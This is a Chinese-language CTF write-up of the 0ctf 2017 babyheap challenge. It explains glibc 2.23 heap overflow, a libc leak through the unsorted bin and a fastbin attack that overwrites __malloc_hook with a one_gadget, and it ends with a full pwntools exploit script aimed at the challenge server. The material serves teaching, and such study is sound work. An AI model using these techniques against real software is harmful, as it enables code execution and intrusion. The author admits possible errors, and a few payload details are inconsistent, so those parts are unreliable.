由于断断续续写了好久加上自身水平不足导致可能存在逻辑上的错误等等,如有错误,还望指出

先前的理解
改变 index4 的大小后被认为是释放了,然后分配 fastbin (小于 0x80 的在这里) 根据后进先出,分配被认为是释放的 index4 为 index2,在将 index 的大小改回去,此时便让两个 index2 和 index4 都指向了同一个 chunk

通过堆溢出,用还未释放的 index0 来溢出改变 chunk2 的 fd 的地址为 chunk4
,原来应该通过释放由于后进先出通过 free1,free2 的顺序,fastbin 中是由 chunk2->chunk1, 溢出后变为 chunk2->chunk4,此时视为 chunk4 被释放放在 fastbin 中,因为需要让两个 index 指向同一个 chunk,就需要在重新申请堆块 chunk1 和 chunkl2 后再申请 chunk4,由于再 fastbin 中,是后进先出(在 fastbin 中:chunk2->chunk4)所以给 index1 分配的是原来的 chunk2,而 index2 就被分配了 chunk4,

后面 mallco (0x80) 仍然分配的是 chunk4(我认为应该是原本就是指向 chunk4,且已经修改了大小,所以申请时能够通过 “chunksuize 与其对应的 fastbin_index 匹配” 这是一个节省资源的机制,给相同大小的直接分配,不用去再合并块等等),这时 index2 与 index4 都指向了 chuink4,再次释放 free4,chunk4 就进入 unsortbin(unsortedbin 中只有一个块时,就会使 fd 和 bk 指针指向同一个地址,即 main_arena+88, main_arena相对libc固定偏移0x3c4b20,不同libc版本偏移不同 ,因此 libc=main_area_88-88-0x3c4b20

最终利用:
malloc_hook 是一个 libc 上的函数,如果指针不为空则会执行其指针指向的函数,通过这个来 getshell

# 1. 查看程序

发现保护全开了,利用 ida 查看一下

挨个查看

switch 里的判断条件(用来选择):

case 1(allocate,分配 chunk):

case 2(fill,进行内容填充,存在堆溢出):

case 3(free,释放 chunk):

case 4(dump,输出内容,可以以此获取 main.arena88):

# 2. 漏洞分析

1. 由于 unsorted bin 中只有一个块时会将 fb 和 bk 指针指向 main.arena+88 处,而 libc 距 main.aerna-offset(该 offset 是一个固定值,只是不同版本的 libc 里不同)

libc_base=main_arena_88-offset-88

2. 因此我们要使一块 chunk 去到 unsorted bin 再用 dump 泄露出来,这就需要我们让两个 index 来指向同一个 chunk,一个释放掉使 chunk 到 unsorted bin,另一个就可以通过 dump 来泄露 main.arena+88 的地址

要让两个 index 指向同一个 chunk,就需要借助 free 来实现,通过 free 两个 index (chunk1,chunk2) ,使其到 fastbin 中,其会按照后进先出原则,再通过溢出使一个 index2 的 fd 指向 chunk4,将原来的 fastbin 中 chunk2->chunk1 变换为了 chunk2->chunk4,此时 mallco (index1 的大小)时会将 chunk2 分配给 index1,而 mallco (index2 的大小)会将 chunk4 分配给 index2【注意此时要修改 chunk4 的 size 和 index2 的大小一致】,然后通过溢出 index3 将 chunk4 的 size 值恢复,然后再 mallco (index4 的大小)再释放,这时 chunk4 就会进入 unsorted bin , 并且 index2 也指向了 chunk4,可以通过 dump(index2)来泄露 main.arena+88 的地址

4.fastbin attack

原理:

通过 double free 利用 :释放 chunk1 和 chunk2 然后 fastbin 里就会形成 fd指向的是下一个chunk的pre_size位

利用 double free 来再次释放 chunk1,会变成:

此时申请后分配 chunk1:

接着需要写入前面分配的 chunk1 来改变 fd 指向到想要写入的地址(此处是因为 free 了两次所以同一个 chunk1 一个再 heap 中,另一个在 fastbin 里,通过 heap 写入就能改写 fastbin 里的 fd 指向)

接着 mallco chunk2 和 mallco chunk1,此时 fastbin 指向新指向的 chunk3

此时再 mallco 一次即可申请到新的 chunk3,然后就可以进行改写内容

回到题目:

通过泄露的地址来获得 libc 的基地址, libc 上的函数 libc_mallco,该函数会调用 mallco hook,是 libc 上的一个函数指针,若该指针不为空则执行它指向的函数 ,我们可以以此来 getshell,用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后通过 malloc (),将该地址分配,这样就可以改写 libc 的内容,通过 mallco hook 来 getshell(写入地址后再次 mallco 即可执行 mallco hook)

http://t.csdn.cn/IzUkV

此时 chunk4 在 unsorted bin 中,我们需要 mallco 0x60,再 free 使其放入到 fastbin 中,因为前面 index2 已经指向了 chunk4,所以通过 index2 写入要修改的地址即可,然后 mallco 2 次,一个是 chunk4,一个就是新的 chunk 为要修改的 mallco hook

# 3. 漏洞利用

1. 先利用 allocate 得到 chunk

allocate(0x10)  index0
allocate(0x10)  index1
allocate(0x10)  index2
allocate(0x10)  index3
allocate(0x80)  index4

2. 利用 free,使后续的两个 index 可以指向同一个 chunk

free(1)
free(2)

【注意修改 glibc 版本】

patchelf --set-interpreter ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ~/Downloads/buuctf/babyheap_0ctf_2017

查看此时的堆(glibc 2.26 版本以后会不一样),可以发现地址都是对齐的:

查看 bins,此时是 chunk2->chunk1:

查看该 heap 的内容,由下面的图也可以发现地址只有第一个字节不同,所以后面溢出修改一个字节为 0x80 就好:

# 溢出

利用 index0 来溢出改写 index2 的 fd(不用 index1 是因为 index1 也被释放),利用 index3 来改写 index4 的 size

n
payload1=p64(0)+p64(0) //填充index0的fd和bk(因为此处是作为存储数据来用,并不是存地址)
payload1+=p64(0)+p64(0x21)+p64(0)+p64(0)//index1的pre_size和size位和fd、bk
payload1+=p64(0)+p64(0x21)+p(0x80)//index2:pre_size、size、fd
fill(0,length(payload1),payload1)  //填充 index0进行溢出
payload2=p64(0)+p64(0)  //填充index3
payload2+=p64(0)+p64(0x21) //溢出修改index4的size位
fill(3,length(payload2),payload2)

index2 的 fd 位 0x80 是因为堆始终是 4KB 对齐 的,所以 index4 的第一个字节 (小端序) 必定是 80(前面的 index0~3 都占了 0x20)

【这里解释修改 index4 的 size 位,这里 index4 对应 chunk4】

查看其 chunksize 与相应的 fastbin_index 是否匹配,
实际上 chunksize 的计算方法是 victim->size & ~(SIZE_BITS)),
而它对应的 index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,
这里 64位的平台对应的 SIZE_SZ 是8,则 fastbin_index 为 (size >> 4) - 2,
那么我们将 small chunk 的 size 域改写成 0x21 即可。

3. 构造两个 index 指向同一个 chunk(index2,index4 都指向 chunk4)

由于前面的溢出 index2 导致对应的 chunk2 的 fd 指向了 chunk4(此时 chunk2 在 fastbin 表里,所以使 chunk4 也在 fastbin 表中),此时 fastbin->chunk2->chunk4

allocate(0x10)  //index1,此时会将chunk2分配给index1
allocate(0x10)  //index2,此时会将chunk4分配给index2

此时就有两个 index 指向同一个 chunk 了,接着改回来原来的 index4 的大小

payload3=p64(0)+p64(0)
payload3+=p64(0)+p64(0x91)
fill(3,length(payload3),payload3)

接着给 index4 分配 chunk4(因为前面 index2 回收 chunk4 没有改变 index4 指向的 chunk 地址,所以给 index 分配的仍然是 chunk4)

allocate(0x80) //给index4分配chunk4
free(4)  //释放chunk4,因为大于等于0x80,所以进入unsorted bin中

此时 chunk4 的 fd 和 bk 就指向 main_arena+88

4. 泄露 main_arena_88 地址,计算得到 libc_base( main_arena 相对 libc 固定偏移 0x3c4b20, 不同 libc 版本偏移不同

dump(2)
main_arena_88=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
libc_base=main_arena_88-0x3c4b78   (0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同

5. 构造 fake_chunk ,使其能够溢出到 malloc_hook

计算 fake_chunk 的地址( malloc_hook 就在 main_arena 的上面,我们需要找一个 malloc_hook 附近能够构造 chunk 的地址作为 fake_chunk ):

main_arena-0x40+0xd 的地方找到该地址,由于有保护,所以要用 libc_base+偏移 来到达该地址

fake_chunk=main_arena-0x40+0xd (mian_arena-0x33)
libc_base=main_arena+0x58-0x3c4b78
(main_arena-0x3c4b78=libc_base-0x58)	

fake_chunk=libc_base-0x58+0x3c4b78-0x40+0xd= libc_base+3c4aed 

所以 fake_chunk= libc_base+0x3c4aed

6. 将 fake_chunk 地址写入 fastbin 中,便于后续溢出来 getshell

由于此时 chunk4 仍然在 unsorted bin 中(index4 被释放),而 index2 仍然指向 chunk4,可以用 index2 来改写 fd,所以要使 chunk4 进入 fastbin 中

allocate(0x60) //回收一部分chunk4
free(4)  //使chunk4进入fastbin中

payload4=p64(fake_chunk)  //改写chunk4的fd使fake_chunk进入fastbin
fill(2,length(payload4),payload4)

7. 回收 chunk4 与 fake_chunk 来 getshell ( malloc_hook=main_arena-0x10 )

allocate(0x60)  //index4,分配chunk4
allocate(0x60)  //index5,分配fake_chunk

//因为 malloc_hook=main_arena-0x10,fake_chunk=mian_arena-0x33
//所以 malloc_hook=fake_chunk+0x23(fake_chunk+0x33-0x10)

payload5=p64(0)+p64(0)+p8(0)*3 //0x13
payload5+=p64(libc_base+0x4526a) //0x4526a由one_gadget查找得到
fill(5,length(payload5),payload5)

allocate(0x60) //执行一次就会执行malloc_hook,就可以getshell

通过别人的 wp 发现 one_gadget 找出来的地址不对的原因:
值得注意的是,
这道题在于 2017 年的 0ctf 上的赛题,在当时使用 libc2.23-0ubuntu11.2 版本的共享库,但时至今日,Ubuntu16 已经不再使用该版本,而是 libc2.23-0ubuntu11.3 版本共享库,而 buu 上也使用前者版本,只能通过一些以前的 wp 来获取当时版本的 one_gadget,这里记一下比较常用的

og1=[0x45216,0x4526a,0xf02a4,0xf1147]    #libc2.23-0ubuntu11.2
og2=[0x45226,0x4527a,0xf0364,0xf1207]    #libc2.23-0ubuntu11.3

https://tokameine.top/2021/08/09/babyheap_0ctf_2017/
exp:

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',25727)
#e=ELF("./babyheap_0ctf_2017")
#write_plt=e.plt["write"]
#read_plt=e.plt["read"]
def allocate(size):
    p.sendlineafter("Command: ","1")
    p.sendlineafter("Size: ",str(size))  #此处必须转成 str()类型,下面同理
def fill(index,size,content):
    p.sendlineafter("Command: ","2")
    p.sendlineafter("Index: ",str(index))
    p.sendlineafter("Size: ",str(size))
    p.sendlineafter("Content: ",content)
    
def free(index):
    p.sendlineafter("Command: ","3")
    p.sendlineafter("Index: ",str(index))
def dump(index):
    p.sendlineafter("Command: ","4")
    p.sendlineafter("Index: ",str(index))
#步骤 1(对应上面的讲解步骤)
allocate(0x10) 
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
#步骤 2
free(1)
free(2)
payload1=p64(0)*2+p64(0)+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,len(payload1),payload1)
payload2=p64(0)*3+p64(0x21)
fill(3,len(payload2),payload2)
#步骤 3
allocate(0x10)
allocate(0x10)
payload3=p64(0)*3+p64(0x91)
fill(3,len(payload3),payload3)
allocate(0x80)
free(4)
#步骤 4
dump(2)
main_arena_88=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libc_base=main_arena_88-0x3c4b78 
#步骤 5
fake_chunk= libc_base+0x3c4aed 
#步骤 6
allocate(0x60) #回收一部分 chunk4
free(4)  #使 chunk4 进入 fastbin 中
payload4=p64(fake_chunk)  #改写 chunk4 的 fd 使 fake_chunk 进入 fastbin
fill(2,len(payload4),payload4)
#步骤 7
allocate(0x60)  #index4,分配 chunk4
allocate(0x60)  #index5,分配 fake_chunk
#因为 malloc_hook=main_arena-0x10,fake_chunk=mian_arena-0x33
#所以 malloc_hook=fake_chunk+0x23 (fake_chunk+0x33-0x10)
payload5=p64(0)+p64(0)+p8(0)*3  #0x13
payload5+=p64(libc_base+0x4526a)  #0x4526a 由 one_gadget 查找得到
fill(6,len(payload5),payload5)
allocate(0x60)               #index6, 执行一次就会执行 malloc_hook,就可以 getshell
p.interactive()

参考:
https://blog.csdn.net/think_ycx/article/details/77982439

https://bbs.kanxue.com/thread-223461.htm

https://blog.csdn.net/weixin_43847969/article/details/104897249

https://blog.csdn.net/mcmuyanga/article/details/108360375

关于堆的参数:
https://blog.csdn.net/weixin_43847969/article/details/104897249